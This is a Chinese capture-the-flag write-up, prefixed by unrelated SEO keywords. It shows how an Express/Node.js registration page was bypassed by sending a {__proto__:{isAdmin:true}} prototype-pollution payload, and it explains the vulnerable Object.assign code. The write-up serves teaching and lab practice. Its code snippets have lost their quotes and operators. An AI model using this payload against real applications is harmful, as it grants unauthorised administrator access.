广州做网站价格,百度指数怎么看排名,企业市场推广,网页微信怎么换行拿到靶机先看是什么服务器和框架发现是experss框架那么用的环境就是node,js环境了Express 是构建在 Node.js 之上的 Web 应用框架#xff0c;两者是框架与运行时环境的关系。简单来说#xff1a;Node.js 是地基#xff0c;Express 是在这地基上建造的房屋框架。…拿到靶机先看是什么服务器和框架发现是experss框架那么用的环境就是node,js环境了Express 是构建在 Node.js 之上的 Web 应用框架两者是框架与运行时环境的关系。简单来说Node.js 是地基Express 是在这地基上建造的房屋框架。用dirsearch扫描目录发现也就只有一个登录和注册并且这两个在一开始的页面都给了尝试注册一个管理员账号但我们发现如果要注册一个管理员账号要输入一个特定的code随便输入一个就会失败回头看看源代码什么也没发现随便注册一个账号进去看看发现出现了flag但是是错误的抓取注册时的包看看发现这里控制上传的环境就是js.nodeJSON并且以数组的方式传入了4个参数{username:admin,password:admin,isAdmin:true,inviteCode:123}随便注册一个账号然后抓取登录时的包没有什么新东西那如果我们不勾上is admin直接注册呢发现显示已存在但我们发现这里也显示是is admin 不过这次是false,但同时也发现这里没有code认证也许可以直接修改is admin 的值为ture能实现越权访问呢修改is admin 的值为ture发现和先前的一样没提示了那就得进行fuzz测试了在比赛的时候这里有个himt提示这里我测出这里可以进行原型链污染当我们污染 __proto__.isAdmin 为 true 时便可获取管理员权限注册一个新的账号注入{__proto__:{isAdmin:true}便可越权登录页面果然不一样了CatCTF{test_flag_h0w_cn_I_l1ve_w1th0ut_nilou}最后扒出源代码分析一下// post请求的路径 app.post(/register, (req, res) { let user JSON.parse(req.body) // 把我们输入的账号密码从json字符串转成对象 // 判断我们有没有输入账号和密码 if (!user.username || !user.password) { return res.json({ msg: empty username or password, err: true }) } // 判断账号是否存在总对象的username里如果相同的username就是重复用户名了 if (users.filter(u u.username user.username).length) { return res.json({ msg: username already exists, err: true }) } // isAdmin是否true 与 邀请码是不是等于这个常量所以sql注入没用邀请码是个常量 if (user.isAdmin user.inviteCode ! INVITE_CODE) { user.isAdmin false return res.json({ msg: invalid invite code, err: true }) } // 使用系统函数复制对象打包成一个新的对象 let newUser Object.assign({}, baseUser, user) users.push(newUser) // 存到总对象里 res.json({ msg: user created successfully, err: false }) // 设置返回信息 })这里用了一个Object.assign函数这个函数可以把传入的两个参数合并成一个新的函数并且会修改原来的参数举个例子const target { a: 1, b: 2 }; const source { b: 3, c: 4 }; const result Object.assign(target, source); console.log(result); // 输出: { a: 1, b: 3, c: 4 } console.log(target result); // 输出: true (修改了原始target对象)工作机制• 将 source 的所有可枚举属性复制到 target• b 属性被覆盖从 2 变为 3• c 属性被新增 • 返回修改后的 target 对象本身不是新对象const target { a: 1, b: 2 }; // 攻击者构造的恶意 source const maliciousSource JSON.parse({__proto__: {isAdmin: true}}); console.log(攻击前:, {}.isAdmin); // undefined - 没有被污染 // 执行合并 - 原型污染发生 const result Object.assign(target, maliciousSource); console.log(合并后target:, result); // 输出: { a: 1, b: 2 } (注意没有 isAdmin也没有 __proto__ 属性) console.log(污染检查1:, {}.isAdmin); // true! Object.prototype 被污染 console.log(污染检查2:, [].isAdmin); // true! Array.prototype 也被影响 console.log(污染检查3:, test.isAdmin); // true! String 也受影响当程序没有渲染isAdmin时是不会触发原型链污染故原型链污染的一个前提是要能够渲染我们输入的参数在三次检查中可以知道一旦污染成功便会存在于prototype属性中即使新建一个对象也会包含我们输入的内容对应到本题let newUser Object.assign({}, baseUser, user) users.push(newUser)并且从上面的源代码中我们可以知道let user JSON.parse(req.body)在注册页面中传入的所有参数都会传入到user中if (user.isAdmin user.inviteCode ! INVITE_CODE) { user.isAdmin false return res.json({ msg: invalid invite code, err: true })nodejs通过post请求体来进行解析当isAdmin返回为false时会登录失败因此当我们污染 __proto__.isAdmin 为 true 时便可注册一个获取管理员权限的账号